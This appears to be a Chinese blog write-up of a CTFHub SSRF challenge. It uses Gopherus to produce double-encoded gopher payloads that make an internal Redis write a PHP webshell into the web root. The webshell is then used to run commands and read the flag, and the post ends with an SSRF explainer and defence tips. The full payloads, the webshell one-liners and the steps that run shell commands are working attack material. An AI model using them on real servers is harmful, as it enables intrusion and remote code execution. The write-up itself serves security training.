CTFHub-->web-->ssrf-->Redis协议

本文介绍了Redis协议,它是用于客户端和服务器间操作和传输数据的简单文本协议。重点讲述了CTF打靶过程,包括执行系统命令读取和使用蚁剑连接读取两种方式获取flag,还指出了打靶中的坑点,如编码处理、工具生成shell特性等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

什么是Redis协议

CTF打靶

执行系统命令读取

 使用蚁剑连接读取

坑点


什么是Redis协议

Redis协议,也被称为 RESP (Redis Serialization Protocol),它是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。可以说是最简单的一种传输协议。

CTF打靶

启动环境

访问环境

 利用工具gopherus来生成payload

工具下载地址:https://github.com/tarunkant/Gopherus.git

python2 gopherus.py --exploit redis

这里我们使用PHPshell 并且使用默认路径,生成代码的文件名为 shell.php

执行系统命令读取

我们先来看工具生成的代码原始模样

它使用的是 system 也就是能执行系统命令,使用蚁剑是连接不成功的

将工具生成的代码再进行一次URL编码

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

拼接进行访问,等待上传,速度有点慢

上传后,界面是这个样子

这时我们访问shell.php(工具默认生成的文件名)

 由于shell.php是使用get传参cmd为变量名,所以这里拼接 ?cmd=ls /  进行访问

http://challenge-b33bf5c8b7b97905.sandbox.ctfhub.com:10800/shell.php?cmd=ls /

进一步读取flag

http://challenge-b33bf5c8b7b97905.sandbox.ctfhub.com:10800/shell.php?cmd=cat%20/flag_139a762fb4c425a03cff8d0b12aa960b

​ flag获取成功

使用蚁剑连接读取

还是使用工具生成,生成shell的时候 我们使用自己写入的一句话木马

<?php @eval($_POST['cmd'])?>

 将生成的代码在URL编码一次

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

 拼接访问,等待文件上传,时间有点久

上传后界面还是这个样子

这时我们再拼接访问 shell.php

http://challenge-b33bf5c8b7b97905.sandbox.ctfhub.com:10800/shell.php

​ 然后使用蚁剑进行连接

访问根目录,找到flag

 

坑点

  • 不论采取哪个方法,使用 gopherus.py编码后要再进行一次URL编码
  • 注意工具自动生成的shell是执行系统命令的,使用蚁剑是连接不上的
  • 工具生成shell的文件名为 shell.php
  • 注意访问的是上传后的文件,即:shell.php
### CTFHub Web平台中的SSRF漏洞利用Post请求 #### SSRF漏洞概述 服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种攻击方式,其中攻击者能够诱使服务器向任意URL发出HTTP请求。这种攻击可能让攻击者绕过防火墙和其他安全控制措施,访问内部网络资源或敏感数据。 当应用程序允许用户输入并将其作为部分构建对外部服务的请求时,如果没有适当验证这些输入,则可能存在SSRF风险[^1]。 #### Post请求下的SSRF漏洞利用实例 在某些情况下,Web应用会接受来自用户的POST参数,并基于此创建新的HTTP POST请求到指定的目标位置。假设有一个接口`/api/fetchData`接收两个字段:一个是目标网址(`url`);另一个是要发送的数据体(`data`)。如果这个API不对传入的`url`做任何校验就直接发起请求的话,那么它就是一个潜在的SSRF入口点[^3]。 例如,在CTF场景下,可以通过构造如下表单提交来测试是否存在此类漏洞: ```html <form action="http://example.com/api/fetchData" method="POST"> <input type="hidden" name="url" value="http://internal-service/admin"/> <textarea name="data">{"action":"listUsers"}</textarea> <button>Submit</button> </form> ``` 一旦成功触发该行为,服务器就会尝试连接至所提供的内部路径并向其传递JSON负载,这可能导致未授权的信息泄露或其他更严重的后果。 #### 防御策略建议 为了防止上述情况的发生,应该采取以下几种方法加强防护: - **严格验证所有外部可控变量**:确保每一个由客户端提供的值都被仔细审查,特别是那些用来组成最终调用链路的部分。 - **采用白名单模式限定可到达的目的地集合**:仅限于已知可信站点列表内的链接才被准许处理,拒绝一切超出范围之外的选择。 - **实施细粒度的身份认证与权限管理**:即使是在受控环境之内也要遵循最小特权原则,即只有真正必要的时候才能给予特定实体执行高危动作的权利。 另外值得注意的是,除了基本防范手段外还可以考虑引入诸如代理层之类的技术方案进一步隔离内外网之间的交互过程,减少暴露面的同时也增加了中间件层面的安全保障能力[^4]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值